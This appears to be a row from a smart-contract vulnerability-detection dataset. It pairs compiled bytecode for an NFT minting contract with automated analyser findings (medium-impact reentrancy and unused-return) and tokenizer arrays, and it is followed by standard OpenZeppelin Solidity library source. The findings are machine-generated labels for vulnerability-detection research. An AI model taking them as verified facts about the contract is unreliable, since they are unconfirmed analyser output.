021916908373ffffffffffffffffffffffffffffffffffffffff16021790555084602001518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b505050828473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46122e08585856001613299565b5050505050565b60006122f2836126d7565b905060008160000151905082156123d35760008173ffffffffffffffffffffffffffffffffffffffff16612324611cef565b73ffffffffffffffffffffffffffffffffffffffff16148061235357506123528261234d611cef565b611af9565b5b806123985750612361611cef565b73ffffffffffffffffffffffffffffffffffffffff1661238086610b55565b73ffffffffffffffffffffffffffffffffffffffff16145b9050806123d1576040517f59c896be00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b505b6123e1816000866001613293565b6123ed60008583611d45565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060018160000160008282829054906101000a900467ffffffffffffffff160392506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060018160000160108282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055506000600560008781526020019081526020016000209050828160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550428160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550600181600001601c6101000a81548160ff02191690831515021790555060006001870190506000600560008381526020019081526020016000209050600073ffffffffffffffffffffffffffffffffffffffff168160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561265157600154821461265057848160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555085602001518160000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff1602179055505b5b5050505083600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46126bf816000866001613299565b60026000815480929190600101919050555050505050565b6126df6136f4565b6000829050806126ed611df7565b111580156126fc575060015481105b1561292f576000600560008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050806040015161292d57600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612811578092505050612961565b5b60011561292c57818060019003925050600560008381526020019081526020016000206040518060600160405290816000820160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020016000820160149054906101000a900467ffffffffffffffff1667ffffffffffffffff1667ffffffffffffffff16815260200160008201601c9054906101000a900460ff1615151515815250509050600073ffffffffffffffffffffffffffffffffffffffff16816000015173ffffffffffffffffffffffffffffffffffffffff1614612927578092505050612961565b612812565b5b505b6040517fdf2d9b4200000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b3273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a98576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a8f9061443a565b60405180910390fd5b612aa0611759565b612adf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ad6906144a6565b60405180910390fd5b600b5481612aeb611e00565b612af5919061408e565b1115612b36576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b2d90614512565b60405180910390fd5b60c8612b40611e00565b1015612b81576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b789061457e565b60405180910390fd5b80612b8a611766565b1015612bcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bc290614610565b60405180910390fd5b80600f6000612bd8611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612d0e5780662386f26fc10000612c2b91906140e4565b341015612c6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c649061467c565b60405180910390fd5b80600f6000612c7a611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612cbf91906142c8565b600f6000612ccb611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9e565b8060106000612d1b611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410612e515780664380663abb8000612d6e91906140e4565b341015612db0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612da7906146e8565b60405180910390fd5b8060106000612dbd611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e0291906142c8565b60106000612e0e611cef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e9d565b612e5a81610da2565b341015612e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9390614754565b60405180910390fd5b5b5b50565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160089054906101000a900467ffffffffffffffff1667ffffffffffffffff169050919050565b6000808273ffffffffffffffffffffffffffffffffffffffff163b119050919050565b60008373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612f54611cef565b8786866040518563ffffffff1660e01b8152600401612f7694939291906147c9565b602060405180830381600087803b158015612f9057600080fd5b505af1925050508015612fc157506040513d601f19601f82011682018060405250810190612fbe919061482a565b60015b61303b573d8060008114612ff1576040519150601f19603f3d011682016040523d82523d6000602084013e612ff6565b606091505b50600081511415613033576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050949350505050565b6060600a805461309d90613edd565b80601f01602080910402602001604051908101604052809291908181526020018280546130c990613edd565b80156131165780601f106130eb57610100808354040283529160200191613116565b820191906000526020600020905b8154815290600101906020018083116130f957829003601f168201915b5050505050905090565b60606000821415613168576040518060400160405280600181526020017f3000000000000000000000000000000000000000000000000000000000000000815250905061327c565b600082905060005b6000821461319a57808061318390613fd9565b915050600a826131939190614886565b9150613170565b60008167ffffffffffffffff8111156131b6576131b5613b3d565b5b6040519080825280601f01601f1916602001820160405280156131e85781602001600182028036833780820191505090505b5090505b600085146132755760018261320191906142c8565b9150600a8561321091906148b7565b603061321c919061408e565b60f81b81838151811061323257613231613f7b565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a8561326e9190614886565b94506131ec565b8093505050505b919050565b61328e838383600161329f565b505050565b50505050565b50505050565b60006001549050600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561330d576040517f2e07630000000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6000841415613348576040517fb562e8dd00000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b6133556000868387613293565b83600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160008282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555083600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160088282829054906101000a900467ffffffffffffffff160192506101000a81548167ffffffffffffffff021916908367ffffffffffffffff160217905550846005600083815260200190815260200160002060000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550426005600083815260200190815260200160002060000160146101000a81548167ffffffffffffffff021916908367ffffffffffffffff16021790555060008190506000858201905083801561351f575061351e8773ffffffffffffffffffffffffffffffffffffffff16612f0b565b5b156135e5575b818773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a46135946000888480600101955088612f2e565b6135ca576040517fd1a57ed600000000000000000000000000000000000000000000000000000000815260040160405180910390fd5b808214156135255782600154146135e057600080fd5b613651565b5b818060010192508773ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4808214156135e6575b8160018190555050506136676000868387613299565b5050505050565b82805461367a90613edd565b90600052602060002090601f01602090048101928261369c57600085556136e3565b82601f106136b557805160ff19168380011785556136e3565b828001600101855582156136e3579182015b828111156136e25782518255916020019190600101906136c7565b5b5090506136f09190613737565b5090565b6040518060600160405280600073ffffffffffffffffffffffffffffffffffffffff168152602001600067ffffffffffffffff1681526020016000151581525090565b5b80821115613750576000816000905550600101613738565b5090565b6000604051905090565b600080fd5b600080fd5b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b61379d81613768565b81146137a857600080fd5b50565b6000813590506137ba81613794565b92915050565b6000602082840312156137d6576137d561375e565b5b60006137e4848285016137ab565b91505092915050565b60008115159050919050565b613802816137ed565b82525050565b600060208201905061381d60008301846137f9565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561385d578082015181840152602081019050613842565b8381111561386c576000848401525b50505050565b6000601f19601f8301169050919050565b600061388e82613823565b613898818561382e565b93506138a881856020860161383f565b6138b181613872565b840191505092915050565b600060208201905081810360008301526138d68184613883565b905092915050565b600080fd5b600080fd5b600080fd5b60008083601f840112613903576139026138de565b5b8235905067ffffffffffffffff8111156139205761391f6138e3565b5b60208301915083602082028301111561393c5761393b6138e8565b5b9250929050565b6000806020838503121561395a5761395961375e565b5b600083013567ffffffffffffffff81111561397857613977613763565b5b613984858286016138ed565b92509250509250929050565b6000819050919050565b6139a381613990565b81146139ae57600080fd5b50565b6000813590506139c08161399a565b92915050565b6000602082840312156139dc576139db61375e565b5b60006139ea848285016139b1565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000613a1e826139f3565b9050919050565b613a2e81613a13565b82525050565b6000602082019050613a496000830184613a25565b92915050565b613a5881613a13565b8114613a6357600080fd5b50565b600081359050613a7581613a4f565b92915050565b60008060408385031215613a9257613a9161375e565b5b6000613aa085828601613a66565b9250506020613ab1858286016139b1565b9150509250929050565b613ac481613990565b82525050565b6000602082019050613adf6000830184613abb565b92915050565b600080600060608486031215613afe57613afd61375e565b5b6000613b0c86828701613a66565b9350506020613b1d86828701613a66565b9250506040613b2e868287016139b1565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b613b7582613872565b810181811067ffffffffffffffff82111715613b9457613b93613b3d565b5b80604052505050565b6000613ba7613754565b9050613bb38282613b6c565b919050565b600067ffffffffffffffff821115613bd357613bd2613b3d565b5b613bdc82613872565b9050602081019050919050565b82818337600083830152505050565b6000613c0b613c0684613bb8565b613b9d565b905082815260208101848484011115613c2757613c26613b38565b5b613c32848285613be9565b509392505050565b600082601f830112613c4f57613c4e6138de565b5b8135613c5f848260208601613bf8565b91505092915050565b600060208284031215613c7e57613c7d61375e565b5b600082013567ffffffffffffffff811115613c9c57613c9b613763565b5b613ca884828501613c3a565b91505092915050565b600060208284031215613cc757613cc661375e565b5b6000613cd584828501613a66565b91505092915050565b613ce7816137ed565b8114613cf257600080fd5b50565b600081359050613d0481613cde565b92915050565b60008060408385031215613d2157613d2061375e565b5b6000613d2f85828601613a66565b9250506020613d4085828601613cf5565b9150509250929050565b600067ffffffffffffffff821115613d6557613d64613b3d565b5b613d6e82613872565b9050602081019050919050565b6000613d8e613d8984613d4a565b613b9d565b905082815260208101848484011115613daa57613da9613b38565b5b613db5848285613be9565b509392505050565b600082601f830112613dd257613dd16138de565b5b8135613de2848260208601613d7b565b91505092915050565b60008060008060808587031215613e0557613e0461375e565b5b6000613e1387828801613a66565b9450506020613e2487828801613a66565b9350506040613e35878288016139b1565b925050606085013567ffffffffffffffff811115613e5657613e55613763565b5b613e6287828801613dbd565b91505092959194509250565b60008060408385031215613e8557613e8461375e565b5b6000613e9385828601613a66565b9250506020613ea485828601613a66565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680613ef557607f821691505b60208210811415613f0957613f08613eae565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613f4560208361382e565b9150613f5082613f0f565b602082019050919050565b60006020820190508181036000830152613f7481613f38565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613fe482613990565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561401757614016613faa565b5b600182019050919050565b7f4e46547320616c7265616479206d696e74656420746f207661756c7400000000600082015250565b6000614058601c8361382e565b915061406382614022565b602082019050919050565b600060208201905081810360008301526140878161404b565b9050919050565b600061409982613990565b91506140a483613990565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156140d9576140d8613faa565b5b828201905092915050565b60006140ef82613990565b91506140fa83613990565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561413357614132613faa565b5b828202905092915050565b7f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00600082015250565b6000614174601f8361382e565b915061417f8261413e565b602082019050919050565b600060208201905081810360008301526141a381614167565b9050919050565b7f4e4f5448494e475f544f5f574954484452415700000000000000000000000000600082015250565b60006141e060138361382e565b91506141eb826141aa565b602082019050919050565b6000602082019050818103600083015261420f816141d3565b9050919050565b600081905092915050565b50565b6000614231600083614216565b915061423c82614221565b600082019050919050565b600061425282614224565b9150819050919050565b7f5472616e73666572206661696c65642e00000000000000000000000000000000600082015250565b600061429260108361382e565b915061429d8261425c565b602082019050919050565b600060208201905081810360008301526142c181614285565b9050919050565b60006142d382613990565b91506142de83613990565b9250828210156142f1576142f0613faa565b5b828203905092915050565b600081905092915050565b600061431282613823565b61431c81856142fc565b935061432c81856020860161383f565b80840191505092915050565b60006143448285614307565b91506143508284614307565b91508190509392505050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006143b860268361382e565b91506143c38261435c565b604082019050919050565b600060208201905081810360008301526143e7816143ab565b9050919050565b7f43616c6c6572206973206e6f7420454f41000000000000000000000000000000600082015250565b600061442460118361382e565b915061442f826143ee565b602082019050919050565b6000602082019050818103600083015261445381614417565b9050919050565b7f4d696e74696e67206e6f74207374617274656400000000000000000000000000600082015250565b600061449060138361382e565b915061449b8261445a565b602082019050919050565b600060208201905081810360008301526144bf81614483565b9050919050565b7f4d696e74696e6720776f756c6420657863656564206d617820737570706c7900600082015250565b60006144fc601f8361382e565b9150614507826144c6565b602082019050919050565b6000602082019050818103600083015261452b816144ef565b9050919050565b7f5661756c7420526573657276652079657420746f206265206d696e7465640000600082015250565b6000614568601e8361382e565b915061457382614532565b602082019050919050565b600060208201905081810360008301526145978161455b565b9050919050565b7f526571756573746564206e756d6265722065786365656473206d6178696d756d60008201527f2070657220616464726573732061742063757272656e74206c6576656c000000602082015250565b60006145fa603d8361382e565b91506146058261459e565b604082019050919050565b60006020820190508181036000830152614629816145ed565b9050919050565b7f50533a20446964206e6f742073656e6420656e6f756768206574682e00000000600082015250565b6000614666601c8361382e565b915061467182614630565b602082019050919050565b6000602082019050818103600083015261469581614659565b9050919050565b7f574c3a20446964206e6f742073656e6420656e6f756768206574682e00000000600082015250565b60006146d2601c8361382e565b91506146dd8261469c565b602082019050919050565b60006020820190508181036000830152614701816146c5565b9050919050565b7f446964206e6f742073656e6420656e6f756768206574682e0000000000000000600082015250565b600061473e60188361382e565b915061474982614708565b602082019050919050565b6000602082019050818103600083015261476d81614731565b9050919050565b600081519050919050565b600082825260208201905092915050565b600061479b82614774565b6147a5818561477f565b93506147b581856020860161383f565b6147be81613872565b840191505092915050565b60006080820190506147de6000830187613a25565b6147eb6020830186613a25565b6147f86040830185613abb565b818103606083015261480a8184614790565b905095945050505050565b60008151905061482481613794565b92915050565b6000602082840312156148405761483f61375e565b5b600061484e84828501614815565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061489182613990565b915061489c83613990565b9250826148ac576148ab614857565b5b828204905092915050565b60006148c282613990565b91506148cd83613990565b9250826148dd576148dc614857565b5b82820690509291505056fea264697066735822122073c93b765e80d2c57c73a09518a7387837168b4af67c4fef73fff5c20cee0e3064736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | true | null | {'detectors': [{'check': 'reentrancy-no-eth', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]} | [
101,
1014,
2595,
2683,
24087,
2620,
7011,
2063,
2692,
2575,
2546,
2575,
2094,
26224,
7011,
6305,
22394,
2581,
2063,
2683,
22932,
2509,
2063,
2575,
2683,
2546,
23632,
2683,
2575,
2581,
2278,
17788,
9818,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
10210,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1018,
1025,
1013,
1008,
1008,
1008,
1030,
16475,
8278,
1997,
1996,
9413,
2278,
16048,
2629,
3115,
1010,
2004,
4225,
1999,
1996,
1008,
16770,
1024,
1013,
1013,
1041,
11514,
2015,
1012,
28855,
14820,
1012,
8917,
1013,
1041,
11514,
2015,
1013,
1041,
11514,
1011,
13913,
1031,
1041,
11514,
1033,
1012,
1008,
1008,
10408,
2545,
2064,
13520,
2490,
1997,
3206,
19706,
1010,
2029,
2064,
2059,
2022,
1008,
10861,
11998,
2011,
2500,
1006,
1063,
9413,
2278,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,565 | 0x955949d2aad4a3945225e3ed2d3387a46fa48721 | // File: @openzeppelin/contracts@4.4.1/utils/structs/EnumerableSet.sol
// OpenZeppelin Contracts v4.4.1 (utils/structs/EnumerableSet.sol)
pragma solidity ^0.8.0;
/**
* @dev Library for managing
* https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive
* types.
*
* Sets have the following properties:
*
* - Elements are added, removed, and checked for existence in constant time
* (O(1)).
* - Elements are enumerated in O(n). No guarantees are made on the ordering.
*
* ```
* contract Example {
* // Add the library methods
* using EnumerableSet for EnumerableSet.AddressSet;
*
* // Declare a set state variable
* EnumerableSet.AddressSet private mySet;
* }
* ```
*
* As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`)
* and `uint256` (`UintSet`) are supported.
*/
library EnumerableSet {
// To implement this library for multiple types with as little code
// repetition as possible, we write it in terms of a generic Set type with
// bytes32 values.
// The Set implementation uses private functions, and user-facing
// implementations (such as AddressSet) are just wrappers around the
// underlying Set.
// This means that we can only create new EnumerableSets for types that fit
// in bytes32.
struct Set {
// Storage of set values
bytes32[] _values;
// Position of the value in the `values` array, plus 1 because index 0
// means a value is not in the set.
mapping(bytes32 => uint256) _indexes;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function _add(Set storage set, bytes32 value) private returns (bool) {
if (!_contains(set, value)) {
set._values.push(value);
// The value is stored at length-1, but we add 1 to all indexes
// and use 0 as a sentinel value
set._indexes[value] = set._values.length;
return true;
} else {
return false;
}
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function _remove(Set storage set, bytes32 value) private returns (bool) {
// We read and store the value's index to prevent multiple reads from the same storage slot
uint256 valueIndex = set._indexes[value];
if (valueIndex != 0) {
// Equivalent to contains(set, value)
// To delete an element from the _values array in O(1), we swap the element to delete with the last one in
// the array, and then remove the last element (sometimes called as 'swap and pop').
// This modifies the order of the array, as noted in {at}.
uint256 toDeleteIndex = valueIndex - 1;
uint256 lastIndex = set._values.length - 1;
if (lastIndex != toDeleteIndex) {
bytes32 lastvalue = set._values[lastIndex];
// Move the last value to the index where the value to delete is
set._values[toDeleteIndex] = lastvalue;
// Update the index for the moved value
set._indexes[lastvalue] = valueIndex; // Replace lastvalue's index to valueIndex
}
// Delete the slot where the moved value was stored
set._values.pop();
// Delete the index for the deleted slot
delete set._indexes[value];
return true;
} else {
return false;
}
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function _contains(Set storage set, bytes32 value) private view returns (bool) {
return set._indexes[value] != 0;
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function _length(Set storage set) private view returns (uint256) {
return set._values.length;
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function _at(Set storage set, uint256 index) private view returns (bytes32) {
return set._values[index];
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function _values(Set storage set) private view returns (bytes32[] memory) {
return set._values;
}
// Bytes32Set
struct Bytes32Set {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _add(set._inner, value);
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) {
return _remove(set._inner, value);
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) {
return _contains(set._inner, value);
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(Bytes32Set storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) {
return _at(set._inner, index);
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(Bytes32Set storage set) internal view returns (bytes32[] memory) {
return _values(set._inner);
}
// AddressSet
struct AddressSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(AddressSet storage set, address value) internal returns (bool) {
return _add(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(AddressSet storage set, address value) internal returns (bool) {
return _remove(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(AddressSet storage set, address value) internal view returns (bool) {
return _contains(set._inner, bytes32(uint256(uint160(value))));
}
/**
* @dev Returns the number of values in the set. O(1).
*/
function length(AddressSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(AddressSet storage set, uint256 index) internal view returns (address) {
return address(uint160(uint256(_at(set._inner, index))));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(AddressSet storage set) internal view returns (address[] memory) {
bytes32[] memory store = _values(set._inner);
address[] memory result;
assembly {
result := store
}
return result;
}
// UintSet
struct UintSet {
Set _inner;
}
/**
* @dev Add a value to a set. O(1).
*
* Returns true if the value was added to the set, that is if it was not
* already present.
*/
function add(UintSet storage set, uint256 value) internal returns (bool) {
return _add(set._inner, bytes32(value));
}
/**
* @dev Removes a value from a set. O(1).
*
* Returns true if the value was removed from the set, that is if it was
* present.
*/
function remove(UintSet storage set, uint256 value) internal returns (bool) {
return _remove(set._inner, bytes32(value));
}
/**
* @dev Returns true if the value is in the set. O(1).
*/
function contains(UintSet storage set, uint256 value) internal view returns (bool) {
return _contains(set._inner, bytes32(value));
}
/**
* @dev Returns the number of values on the set. O(1).
*/
function length(UintSet storage set) internal view returns (uint256) {
return _length(set._inner);
}
/**
* @dev Returns the value stored at position `index` in the set. O(1).
*
* Note that there are no guarantees on the ordering of values inside the
* array, and it may change when more values are added or removed.
*
* Requirements:
*
* - `index` must be strictly less than {length}.
*/
function at(UintSet storage set, uint256 index) internal view returns (uint256) {
return uint256(_at(set._inner, index));
}
/**
* @dev Return the entire set in an array
*
* WARNING: This operation will copy the entire storage to memory, which can be quite expensive. This is designed
* to mostly be used by view accessors that are queried without any gas fees. Developers should keep in mind that
* this function has an unbounded cost, and using it as part of a state-changing function may render the function
* uncallable if the set grows to a point where copying to memory consumes too much gas to fit in a block.
*/
function values(UintSet storage set) internal view returns (uint256[] memory) {
bytes32[] memory store = _values(set._inner);
uint256[] memory result;
assembly {
result := store
}
return result;
}
}
// File: @openzeppelin/contracts@4.4.1/access/IAccessControl.sol
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControl declared to support ERC165 detection.
*/
interface IAccessControl {
/**
* @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
*
* `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
* {RoleAdminChanged} not being emitted signaling this.
*
* _Available since v3.1._
*/
event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);
/**
* @dev Emitted when `account` is granted `role`.
*
* `sender` is the account that originated the contract call, an admin role
* bearer except when using {AccessControl-_setupRole}.
*/
event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Emitted when `account` is revoked `role`.
*
* `sender` is the account that originated the contract call:
* - if using `revokeRole`, it is the admin role bearer
* - if using `renounceRole`, it is the role bearer (i.e. `account`)
*/
event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);
/**
* @dev Returns `true` if `account` has been granted `role`.
*/
function hasRole(bytes32 role, address account) external view returns (bool);
/**
* @dev Returns the admin role that controls `role`. See {grantRole} and
* {revokeRole}.
*
* To change a role's admin, use {AccessControl-_setRoleAdmin}.
*/
function getRoleAdmin(bytes32 role) external view returns (bytes32);
/**
* @dev Grants `role` to `account`.
*
* If `account` had not been already granted `role`, emits a {RoleGranted}
* event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function grantRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from `account`.
*
* If `account` had been granted `role`, emits a {RoleRevoked} event.
*
* Requirements:
*
* - the caller must have ``role``'s admin role.
*/
function revokeRole(bytes32 role, address account) external;
/**
* @dev Revokes `role` from the calling account.
*
* Roles are often managed via {grantRole} and {revokeRole}: this function's
* purpose is to provide a mechanism for accounts to lose their privileges
* if they are compromised (such as when a trusted device is misplaced).
*
* If the calling account had been granted `role`, emits a {RoleRevoked}
* event.
*
* Requirements:
*
* - the caller must be `account`.
*/
function renounceRole(bytes32 role, address account) external;
}
// File: @openzeppelin/contracts@4.4.1/access/IAccessControlEnumerable.sol
// OpenZeppelin Contracts v4.4.1 (access/IAccessControlEnumerable.sol)
pragma solidity ^0.8.0;
/**
* @dev External interface of AccessControlEnumerable declared to support ERC165 detection.
